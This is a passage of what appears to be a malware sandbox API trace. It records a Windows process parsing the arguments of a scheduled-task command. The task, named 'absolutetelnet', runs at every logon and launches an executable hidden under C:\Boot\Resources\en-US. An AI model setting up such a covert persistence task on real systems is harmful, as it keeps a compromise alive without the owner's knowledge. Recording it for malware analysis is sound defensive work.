(_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.893] lstrlenW (lpString="tn") returned 2 [0129.893] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.894] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|mo|") returned 4 [0129.894] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tn|") returned 4 [0129.894] lstrlenW (lpString="|mo|") returned 4 [0129.894] lstrlenW (lpString="|tn|") returned 4 [0129.894] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0129.894] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.894] lstrlenW (lpString="d") returned 1 [0129.894] lstrlenW (lpString="d") returned 1 [0129.894] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.894] lstrlenW (lpString="tn") returned 2 [0129.894] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.894] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|d|") returned 3 [0129.894] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tn|") returned 4 [0129.894] lstrlenW (lpString="|d|") returned 3 [0129.894] lstrlenW (lpString="|tn|") returned 4 [0129.894] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.894] lstrlenW (lpString="m") returned 1 [0129.894] lstrlenW (lpString="m") returned 1 [0129.894] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.894] lstrlenW (lpString="tn") returned 2 [0129.894] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.894] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|m|") returned 3 [0129.894] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tn|") returned 4 [0129.894] lstrlenW (lpString="|m|") returned 3 [0129.894] lstrlenW (lpString="|tn|") returned 4 [0129.894] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.894] lstrlenW (lpString="i") returned 1 [0129.895] lstrlenW (lpString="i") returned 1 [0129.895] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.895] lstrlenW (lpString="tn") returned 2 [0129.895] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.895] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|i|") returned 3 [0129.895] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tn|") returned 4 [0129.895] lstrlenW (lpString="|i|") returned 3 [0129.895] lstrlenW (lpString="|tn|") returned 4 [0129.895] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.895] lstrlenW (lpString="tn") returned 2 [0129.895] lstrlenW (lpString="tn") returned 2 [0129.895] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.895] lstrlenW (lpString="tn") returned 2 [0129.895] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.895] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tn|") returned 4 [0129.895] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tn|") returned 4 [0129.895] lstrlenW (lpString="|tn|") returned 4 [0129.895] lstrlenW (lpString="|tn|") returned 4 [0129.895] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0129.895] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.895] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.895] lstrlenW (lpString="absolutetelnet") returned 14 [0129.895] lstrlenW (lpString="-/") returned 2 [0129.895] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0129.895] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.895] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.895] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.895] lstrlenW (lpString="absolutetelnet") returned 14 [0129.895] StrChrIW (lpStart="absolutetelnet", wMatch=0x3a) returned 0x0 [0129.896] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.896] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.896] lstrlenW (lpString="absolutetelnet") returned 14 [0129.896] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.896] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.896] lstrlenW (lpString="/sc") returned 3 [0129.896] lstrlenW (lpString="-/") returned 2 [0129.896] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.896] lstrlenW (lpString="create") returned 6 [0129.896] lstrlenW (lpString="create") returned 6 [0129.896] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.896] lstrlenW (lpString="sc") returned 2 [0129.896] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.896] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|create|") returned 8 [0129.896] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|sc|") returned 4 [0129.896] lstrlenW (lpString="|create|") returned 8 [0129.896] lstrlenW (lpString="|sc|") returned 4 [0129.896] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0129.896] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.896] lstrlenW (lpString="?") returned 1 [0129.896] lstrlenW (lpString="?") returned 1 [0129.896] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.896] lstrlenW (lpString="sc") returned 2 [0129.896] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.896] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|?|") returned 3 [0129.896] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|sc|") returned 4 [0129.896] lstrlenW (lpString="|?|") returned 3 [0129.896] lstrlenW (lpString="|sc|") returned 4 [0129.897] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.897] lstrlenW (lpString="s") returned 1 [0129.897] lstrlenW (lpString="s") returned 1 [0129.897] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.897] lstrlenW (lpString="sc") returned 2 [0129.897] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.897] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|s|") returned 3 [0129.897] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|sc|") returned 4 [0129.897] lstrlenW (lpString="|s|") returned 3 [0129.897] lstrlenW (lpString="|sc|") returned 4 [0129.897] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.897] lstrlenW (lpString="u") returned 1 [0129.897] lstrlenW (lpString="u") returned 1 [0129.897] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.897] lstrlenW (lpString="sc") returned 2 [0129.898] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.898] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|u|") returned 3 [0129.898] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|sc|") returned 4 [0129.898] lstrlenW (lpString="|u|") returned 3 [0129.898] lstrlenW (lpString="|sc|") returned 4 [0129.898] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.898] lstrlenW (lpString="p") returned 1 [0129.898] lstrlenW (lpString="p") returned 1 [0129.898] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.900] lstrlenW (lpString="sc") returned 2 [0129.900] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.900] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|p|") returned 3 [0129.900] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|sc|") returned 4 [0129.900] lstrlenW (lpString="|p|") returned 3 [0129.900] lstrlenW (lpString="|sc|") returned 4 [0129.900] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.900] lstrlenW (lpString="ru") returned 2 [0129.900] lstrlenW (lpString="ru") returned 2 [0129.900] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.900] lstrlenW (lpString="sc") returned 2 [0129.900] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.900] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|ru|") returned 4 [0129.900] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|sc|") returned 4 [0129.901] lstrlenW (lpString="|ru|") returned 4 [0129.901] lstrlenW (lpString="|sc|") returned 4 [0129.901] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0129.901] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.901] lstrlenW (lpString="rp") returned 2 [0129.901] lstrlenW (lpString="rp") returned 2 [0129.901] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.901] lstrlenW (lpString="sc") returned 2 [0129.901] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.901] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rp|") returned 4 [0129.901] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|sc|") returned 4 [0129.901] lstrlenW (lpString="|rp|") returned 4 [0129.901] lstrlenW (lpString="|sc|") returned 4 [0129.901] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0129.901] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.901] lstrlenW (lpString="sc") returned 2 [0129.901] lstrlenW (lpString="sc") returned 2 [0129.901] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.901] lstrlenW (lpString="sc") returned 2 [0129.901] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.901] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|sc|") returned 4 [0129.901] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|sc|") returned 4 [0129.901] lstrlenW (lpString="|sc|") returned 4 [0129.902] lstrlenW (lpString="|sc|") returned 4 [0129.902] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0129.902] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.902] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.902] lstrlenW (lpString="ONLOGON") returned 7 [0129.902] lstrlenW (lpString="-/") returned 2 [0129.902] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0129.902] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.902] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.902] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.902] lstrlenW (lpString="ONLOGON") returned 7 [0129.902] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0129.902] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.902] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.902] GetProcessHeap () returned 0x1157a5a0000 [0129.902] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x18) returned 0x1157a5aab10 [0129.902] _memicmp (_Buf1=0x1157a5aab10, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.902] lstrlenW (lpString="ONLOGON") returned 7 [0129.902] GetProcessHeap () returned 0x1157a5a0000 [0129.902] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x10) returned 0x1157a5aa890 [0129.902] lstrlenW (lpString="ONLOGON") returned 7 [0129.902] lstrlenW (lpString=" \x09") returned 2 [0129.902] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0129.902] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0129.902] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0129.902] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0129.903] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0129.903] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0129.903] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0129.903] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0129.903] GetLastError () returned 0x0 [0129.903] lstrlenW (lpString="ONLOGON") returned 7 [0129.903] lstrlenW (lpString="ONLOGON") returned 7 [0129.903] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.903] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.903] lstrlenW (lpString="/tr") returned 3 [0129.903] lstrlenW (lpString="-/") returned 2 [0129.903] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.903] lstrlenW (lpString="create") returned 6 [0129.903] lstrlenW (lpString="create") returned 6 [0129.903] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.903] lstrlenW (lpString="tr") returned 2 [0129.903] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.903] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|create|") returned 8 [0129.903] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tr|") returned 4 [0129.903] lstrlenW (lpString="|create|") returned 8 [0129.903] lstrlenW (lpString="|tr|") returned 4 [0129.904] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0129.904] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.904] lstrlenW (lpString="?") returned 1 [0129.904] lstrlenW (lpString="?") returned 1 [0129.904] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.904] lstrlenW (lpString="tr") returned 2 [0129.904] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.904] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|?|") returned 3 [0129.904] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tr|") returned 4 [0129.904] lstrlenW (lpString="|?|") returned 3 [0129.904] lstrlenW (lpString="|tr|") returned 4 [0129.904] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.904] lstrlenW (lpString="s") returned 1 [0129.904] lstrlenW (lpString="s") returned 1 [0129.904] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.904] lstrlenW (lpString="tr") returned 2 [0129.904] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.904] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|s|") returned 3 [0129.904] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tr|") returned 4 [0129.904] lstrlenW (lpString="|s|") returned 3 [0129.904] lstrlenW (lpString="|tr|") returned 4 [0129.904] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.904] lstrlenW (lpString="u") returned 1 [0129.904] lstrlenW (lpString="u") returned 1 [0129.904] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.905] lstrlenW (lpString="tr") returned 2 [0129.905] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.905] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|u|") returned 3 [0129.905] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tr|") returned 4 [0129.905] lstrlenW (lpString="|u|") returned 3 [0129.905] lstrlenW (lpString="|tr|") returned 4 [0129.905] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.905] lstrlenW (lpString="p") returned 1 [0129.905] lstrlenW (lpString="p") returned 1 [0129.905] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.905] lstrlenW (lpString="tr") returned 2 [0129.905] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.905] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|p|") returned 3 [0129.905] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tr|") returned 4 [0129.905] lstrlenW (lpString="|p|") returned 3 [0129.905] lstrlenW (lpString="|tr|") returned 4 [0129.905] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.905] lstrlenW (lpString="ru") returned 2 [0129.905] lstrlenW (lpString="ru") returned 2 [0129.905] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.905] lstrlenW (lpString="tr") returned 2 [0129.905] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.905] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|ru|") returned 4 [0129.905] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tr|") returned 4 [0129.905] lstrlenW (lpString="|ru|") returned 4 [0129.906] lstrlenW (lpString="|tr|") returned 4 [0129.906] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0129.906] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.906] lstrlenW (lpString="rp") returned 2 [0129.906] lstrlenW (lpString="rp") returned 2 [0129.906] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.906] lstrlenW (lpString="tr") returned 2 [0129.906] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.906] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rp|") returned 4 [0129.906] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tr|") returned 4 [0129.906] lstrlenW (lpString="|rp|") returned 4 [0129.906] lstrlenW (lpString="|tr|") returned 4 [0129.906] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0129.906] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.906] lstrlenW (lpString="sc") returned 2 [0129.906] lstrlenW (lpString="sc") returned 2 [0129.906] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.906] lstrlenW (lpString="tr") returned 2 [0129.906] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.906] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|sc|") returned 4 [0129.906] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tr|") returned 4 [0129.906] lstrlenW (lpString="|sc|") returned 4 [0129.906] lstrlenW (lpString="|tr|") returned 4 [0129.906] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0129.906] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.906] lstrlenW (lpString="mo") returned 2 [0129.906] lstrlenW (lpString="mo") returned 2 [0129.906] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.907] lstrlenW (lpString="tr") returned 2 [0129.907] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.907] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|mo|") returned 4 [0129.907] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tr|") returned 4 [0129.907] lstrlenW (lpString="|mo|") returned 4 [0129.907] lstrlenW (lpString="|tr|") returned 4 [0129.907] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0129.907] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.907] lstrlenW (lpString="d") returned 1 [0129.907] lstrlenW (lpString="d") returned 1 [0129.907] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.907] lstrlenW (lpString="tr") returned 2 [0129.907] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.907] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|d|") returned 3 [0129.907] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tr|") returned 4 [0129.907] lstrlenW (lpString="|d|") returned 3 [0129.907] lstrlenW (lpString="|tr|") returned 4 [0129.907] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.907] lstrlenW (lpString="m") returned 1 [0129.907] lstrlenW (lpString="m") returned 1 [0129.907] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.907] lstrlenW (lpString="tr") returned 2 [0129.907] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.907] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|m|") returned 3 [0129.907] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tr|") returned 4 [0129.908] lstrlenW (lpString="|m|") returned 3 [0129.908] lstrlenW (lpString="|tr|") returned 4 [0129.908] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.908] lstrlenW (lpString="i") returned 1 [0129.908] lstrlenW (lpString="i") returned 1 [0129.908] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.908] lstrlenW (lpString="tr") returned 2 [0129.908] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.908] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|i|") returned 3 [0129.908] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tr|") returned 4 [0129.908] lstrlenW (lpString="|i|") returned 3 [0129.908] lstrlenW (lpString="|tr|") returned 4 [0129.908] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.908] lstrlenW (lpString="tn") returned 2 [0129.908] lstrlenW (lpString="tn") returned 2 [0129.908] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.908] lstrlenW (lpString="tr") returned 2 [0129.908] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.908] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tn|") returned 4 [0129.908] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tr|") returned 4 [0129.908] lstrlenW (lpString="|tn|") returned 4 [0129.908] lstrlenW (lpString="|tr|") returned 4 [0129.908] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0129.908] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.908] lstrlenW (lpString="tr") returned 2 [0129.908] lstrlenW (lpString="tr") returned 2 [0129.908] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.909] lstrlenW (lpString="tr") returned 2 [0129.909] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.909] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tr|") returned 4 [0129.909] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tr|") returned 4 [0129.909] lstrlenW (lpString="|tr|") returned 4 [0129.909] lstrlenW (lpString="|tr|") returned 4 [0129.909] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0129.909] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.909] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.909] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0129.909] lstrlenW (lpString="-/") returned 2 [0129.909] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0129.909] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.909] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.909] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.909] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0129.909] StrChrIW (lpStart="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'", wMatch=0x3a) returned=":\\Boot\\Resources\\en-US\\absolutetelnet.exe'" [0129.909] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0129.909] _memicmp (_Buf1=0x1157a5a3bb0, _Buf2=0x7ff6b6f79eb0, 